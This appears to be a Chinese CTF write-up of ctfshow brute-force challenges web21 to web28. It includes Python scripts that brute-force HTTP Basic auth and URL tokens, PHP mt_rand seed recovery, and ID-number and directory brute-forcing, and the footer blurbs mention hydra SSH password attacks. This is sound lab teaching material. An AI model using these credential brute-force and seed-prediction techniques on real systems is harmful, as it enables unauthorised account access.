ctfshow-爆破(web21-web28)

2024-09-07 02:28
文章标签 ctfshow 爆破 web21 web28

本文主要是介绍ctfshow-爆破(web21-web28),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

web21

提交用户和密码后发现没有用户以及密码的值呢  常见的是在post数据中 或者url后传值 但这里都没有

发现http头有一个Authorization字段 值是base64编码后的 解码 原来是将传入的值用冒号分离进行base64编码然后放到了Authorization字段中了

设置变量

增加前缀

增加编码方式

取消选项 记住 只要payload存在一下符号就取消

增加字典(字典使用题目给的字典 因为是做题嘛 要不然时间过长)

开始爆破发现有一个payload的响应的状态码为200

直接查看响应内容

第二种方法 python脚本

import time
import requests
import base64
url = 'http://c627cc25-ad77-4154-9fbf-5508f215bd17.challenge.ctf.show/'
password = []
with open("1.txt", "r") as f:while True:data = f.readline()if data:password.append(data)else:breakprint(password)
for p in password:strs = 'admin:' + pheader = {'Authorization': 'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))}print(header)rep = requests.get(url, headers=header)if rep.status_code == 200:print(rep.text)break

web 22

题有问题 直接写答案

web23

<?php
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){$token = md5($_GET['token']);if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){echo $flag;}}
}else{highlight_file(__FILE__);
}
?>

写一个对应的脚本即可 看看哪些数可以满足题目条件

<?php
error_reporting(0);
for ($i=0;$i<1000000;$i=$i+1){$token=md5($i);if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){echo $i."\n";}}}

上面是php脚本 直接按照要求 得出一个值

下面是python脚本 真正的时间爆破 但是也是个思路

两种方式不同而已 php采用的是根据题目要求写一个脚本 获取能执行成功的值 而python脚本则是一个一个去尝试成功就暂停 两种都可以 但是这道题其实使用php脚本更友好 因为速度快 某个值不满足 直接不执行多余语句 而python每个值都要全部执行看看返回值 

import requests
a = "3abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ012456789"
for i in a:for j in a:url ="http://798a8cd2-5ee7-422e-bb13-1615baf862ff.challenge.ctf.show/?token="+str(i)+str(j)req = requests.get(url=url).textif "flag" in req:print(req)exit()else:print(url)

web24

<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){$r = $_GET['r'];mt_srand(372619038);if(intval($r)===intval(mt_rand())){echo $flag;}
}else{highlight_file(__FILE__);echo system('cat /proc/version');
}?>

写一个脚本看看随机数的值为多少

<?php
mt_srand(372619038);
echo mt_rand();
?>

第一次的到999695185 传参发现不对 换个php版本再尝试一下

得到1155388967 传参成功

web25

<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){$r = $_GET['r'];mt_srand(hexdec(substr(md5($flag), 0,8)));$rand = intval($r)-intval(mt_rand());if((!$rand)){if($_COOKIE['token']==(mt_rand()+mt_rand())){echo $flag;}}else{echo $rand;}
}else{highlight_file(__FILE__);echo system('cat /proc/version');
}

mt_srand设置种子 但是该题种子位置 然是通过传参r=0能的到 -2114860072 也就是说intval(mt_rand())的值为2114860072 也就是使用该种子的第一个随机数为2114860072

使用工具反推出种子的值

找到php7版本的种子 手动尝试一下第一个值是不是2114860072

<?php
mt_srand(3566994211 );
echo mt_rand()."\n";
echo mt_rand()+mt_rand();

发现是 使用第二次和第三次随机数进行相加 得到3462242492

传参r=2114860072 cookie中的token的值为3462242492

这道题之所以这么做是因为mt_rand每一次的值都是根据种子来计算出来 也就是说 如果种子固定

执行的结果是固定的 所以这个种子很重要

学生A 执行第一次 得到12 第二次得到 123 第三次得到1234

同理

学生B 执行第一次 得到12 第二次得到 123 第三次得到1234

web26

抓包直接得到flag 莫名其妙估计他没想给默认值?

web27

查看录取名单

学生学籍查看系统 需要姓名和身份证 选择第一个用户直接爆破身份证号

得到该学生学号以及密码

web28

提示

那就爆破目录0-100/0-100/ 即可

这篇关于ctfshow-爆破(web21-web28)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1143790

相关文章

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载 域名txt记录泄露 提示:域名其实也可以隐藏信息,比如ctfshow.com 就

CtfShow中的misc17解法

第一步: 首先拿随波逐流打开看看,没发现啥突破点,很正常 第二步:使用kali中的binwalk命令,解析出一个文件夹,打开压缩包后发现没什么东西     第三步:结合题目给的提示,使用tweakpng打开图片进行IDAT合并,combine all iDAt 第四步:继续用binwalk命令来解析,得到一个新的文件夹 ,里面有一个D6E文件,可以直接查看也可以放到Window

ctfshow(web入门-命令执行)-1

1.web29 只有当c参数的值不包含“flag”(区分大小写),才会执行这段代码 $c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);} 只要payload中没有flag即可 先尝试cat (右键源代码)  tail,tac皆可 system("tail fla*"); tac 逆序读  tail 默认读后1

自搭靶机实现SSH爆破复现记录

编写脚本实现ssh爆破。可使用paramiko、pexpect、pxssh等Python模块进行编写。但在ssh服务端将配置加密方式为非常用加密方式3des-cbc,端口为9981端口。 创建 了一个新的Kali虚拟机作为靶机,使用原本的Kali作为攻击机。 设置一个用户为target1234,用户密码为targetpasswd123。 root用户为kaliTarget: 登录进去后

ctfshow之web58~web71

目录 web58 思路一: 思路二:  思路三:    web59~web65 web66~web67  web68~web70 web71 web58 if(isset($_POST['c'])){$c= $_POST['c'];eval($c);}else{highlight_file(__FILE__);} PHP eval() 函数介绍 定义和用法 e

SSH弱口令爆破服务器

一、实验背景 1、概述 使用kali的hydra进行ssh弱口令爆破,获得服务器的用户名和口令,通过 ssh远程登录服务器。 2、实验环境 kali攻击机:192.168.1.107 centos服务器:192.168.1.105 二、前置知识 1、centos设置用户并设置弱口令 centos查看用户名 cat /etc/passwd centos查看密码cat /etc/sha

[Algorithm][综合训练][删除相邻数字的最大分数][分组][十字爆破]详细讲解

目录 1.删除相邻数字的最大分数1.题目链接2.算法原理详解 && 代码实现 2.分组1.题目链接2.算法原理详解 && 代码实现 3.十字爆破1.题目链接2.算法原理详解 && 代码实现 1.删除相邻数字的最大分数 1.题目链接 删除相邻数字的最大分数 2.算法原理详解 && 代码实现 自己的版本:贪心 --> 20% --> 自己知道这个策略必错 --> 而且

【CTF Web】CTFShow 协议头信息泄露 Writeup(HTTP协议+信息收集)

协议头信息泄露 10 没思路的时候抓个包看看,可能会有意外收获 解法 按 F12 打开开发者工具,点开网络,刷新网页。 flag 在响应标头。 Flag ctfshow{7fa61c00-ff46-4b3e-8d08-1eaafae521cc} 声明 本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶

132-横向移动-Exchange 服务有账户 CVE 漏洞无账户口令爆破

Exchange服务         Microsoft Exchange Server 是微软公司推出的一款企业级邮件服务器软件,它提供了一套全面的电子邮件服务组件,以及消息和协作系统。Exchange Server 不仅支持电子邮件服务,还提供了日历、联系人管理、任务管理、文档管理、实时会议和工作流等丰富的协作应用。这些功能可以通过Internet浏览器访问,使得用户可以轻松地在不同的设备上

CTFSHOW misc入门中misc8解法

第一步:下载misc8压缩包后解压缩,发现是一张misc8.png图片 第二步:老规矩,还是在kali里用binwalk命令查看文件是否包含隐藏文件,发现有两个png文件 第三步:使用binwalk -e 命令看是否能进行解析文件,结果不能。继续使用foremost来进行解析  第四步:使用foremost -T命令来解析,生成两个文件夹,在第二个文件夹中发现一个png文件夹